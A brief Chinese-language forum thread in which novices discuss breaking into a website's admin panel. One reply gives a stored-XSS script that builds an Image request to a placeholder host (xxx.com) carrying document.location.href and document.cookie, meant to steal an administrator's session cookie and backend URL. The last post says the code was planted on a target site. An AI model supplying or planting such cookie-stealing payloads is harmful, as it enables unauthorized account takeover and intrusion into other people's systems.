本人新手，本来想试一试渗透，但失败了，求大牛！！

我也是新手。。不过目测应该是可以考这漏洞

后台运行盗取COOKIE 和后台URL 然后。。。就能进去了。。你懂的。。。其实怎么发送到我这里来我还在研究。。。

<script>
var xx=new Image();
xx.src=*http://xxx.com/xx/123.asp?url=*+document.location.href
+*cookie=*+document.cookie;
</script>
应该这么可有搞到。。。

今天闲来无事。。。
留了一个 代码再那里。。。不知道后台有没有xss漏洞